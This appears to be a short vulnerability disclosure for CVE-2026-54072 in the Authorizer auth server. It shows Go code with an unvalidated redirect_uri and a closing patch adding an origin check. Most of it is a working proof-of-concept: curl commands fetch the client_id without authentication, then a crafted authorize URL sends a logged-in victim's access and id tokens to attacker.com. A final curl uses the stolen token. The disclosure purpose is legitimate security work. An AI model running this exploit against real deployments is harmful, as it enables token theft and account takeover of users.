Authorizer CVE-2026-54072

redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
    redirectURI = redirectURI + "&" + params
} else {
    redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL

# 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")

echo "client_id: $CLIENT_ID"
# 2. Craft the malicious URL and send to victim (victim must be logged in)
# When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"

echo "Send to victim: $MALICIOUS_URL"
# 3. Attacker receives 302 redirect with all tokens:
# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
# 4. Validate stolen token
curl -s http://TARGET/userinfo \
  -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}

// In authorize.go, after reading redirect_uri:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
    handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
        "error":             "invalid_request",
        "error_description": "redirect_uri is not allowed",
    }, http.StatusBadRequest)
    return
}